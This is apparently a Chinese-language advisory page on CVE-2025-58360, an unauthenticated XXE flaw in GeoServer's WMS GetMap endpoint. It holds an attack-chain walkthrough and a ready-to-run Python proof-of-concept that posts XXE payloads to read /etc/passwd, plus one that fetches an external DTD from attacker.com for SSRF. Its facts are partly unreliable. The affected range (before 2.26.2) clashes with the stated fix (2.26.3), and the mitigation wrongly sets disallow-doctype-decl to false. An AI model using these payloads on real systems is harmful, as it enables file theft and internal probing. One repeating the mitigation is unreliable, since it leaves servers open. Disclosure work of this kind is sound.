IPBUF安全漏洞报告
English
CVE-2025-58360 CVSS 8.2 高危

CVE-2025-58360 GeoServer GetMap接口XXE注入漏洞

披露日期: 2025-11-25

漏洞信息

漏洞编号
CVE-2025-58360
漏洞类型
XXE注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GeoServer

相关标签

XXE注入GeoServerWMSXML外部实体地理空间数据高危漏洞无需认证CVE-2025-58360

漏洞概述

GeoServer是一款开源的地理空间数据服务器,允许用户共享和编辑地理空间数据。在2.26.0至2.26.2之前版本以及2.25.6之前版本中,存在一处XML外部实体(XXE)注入漏洞。漏洞存在于/geoserver/wms服务的GetMap操作端点,该端点接受XML输入但未进行充分的消毒处理。攻击者可以通过构造恶意的XML请求,定义外部实体来读取服务器上的敏感文件或执行拒绝服务攻击。由于该漏洞无需认证即可利用,且位于网络可访问的接口上,因此具有较高的安全风险。官方已在GeoServer 2.25.6、2.26.3和2.27.0版本中修复此问题。

技术细节

GeoServer的WMS(Web Map Service)GetMap操作通过/geoserver/wms端点接收XML格式的请求参数。问题在于应用程序直接解析用户提交的XML内容而未禁用外部实体引用。攻击者可利用XML的<!DOCTYPE>和<!ENTITY>语法定义外部实体,例如通过file://协议读取本地文件(如/etc/passwd),或利用外部DTD触发SSRF攻击。标准的XXE payload如:<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><wms><GetMap><sld>&xxe;</sld></GetMap></wms>。漏洞的CVSS向量显示攻击复杂度低(AC:L),无需认证(PR:N)和用户交互(UI:N),机密性影响高( C:H),可用性影响低(A:L),完整性影响无(I:N)。

攻击链分析

STEP 1
步骤1
攻击者识别目标GeoServer服务器,确认版本在受影响范围内(2.26.0至2.26.2之前或2.25.6之前)
STEP 2
步骤2
构造包含恶意XML外部实体声明的GetMap请求,payload使用<!DOCTYPE>和<!ENTITY>定义外部实体
STEP 3
步骤3
通过POST请求将恶意XML发送至/geoserver/wms端点,利用file://或其他协议读取敏感文件或发起SSRF攻击
STEP 4
步骤4
服务器解析XML时展开外部实体,攻击者获取响应中返回的敏感信息或实现对内部系统的探测

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# XXE PoC for CVE-2025-58360 - GeoServer GetMap XXE Injection # Target: vulnerable GeoServer /geoserver/wms endpoint import requests target = "http://target-server:8080/geoserver/wms" # XXE payload to read local file xxe_payload = '''<?xml version="1.0"?> <!DOCTYPE wms [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <wms> <GetMap> <layers>topp:states</layers> <sld>&xxe;</sld> <format>image/png</format> </GetMap> </wms>''' # Alternative: XXE for SSRF xxe_ssrf_payload = '''<?xml version="1.0"?> <!DOCTYPE wms [ <!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd"> ]> <wms> <GetMap> <layers>topp:states</layers> <sld>&xxe;</sld> </GetMap> </wms>''' # Send malicious request headers = { 'Content-Type': 'application/xml', 'User-Agent': 'Mozilla/5.0' } response = requests.post(target, data=xxe_payload, headers=headers, timeout=10) print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}")

影响范围

GeoServer >= 2.26.0 且 < 2.26.2
GeoServer < 2.25.6

防御指南

临时缓解措施
如果无法立即升级,可在XML解析配置中禁用外部实体引用(设置disallow-doctype-decl和external-entities特性为false),同时对WMS端点的请求实施严格的输入验证和速率限制。对于生产环境,建议通过防火墙限制对/geoserver/wms端点的公开访问,仅允许受信任的IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表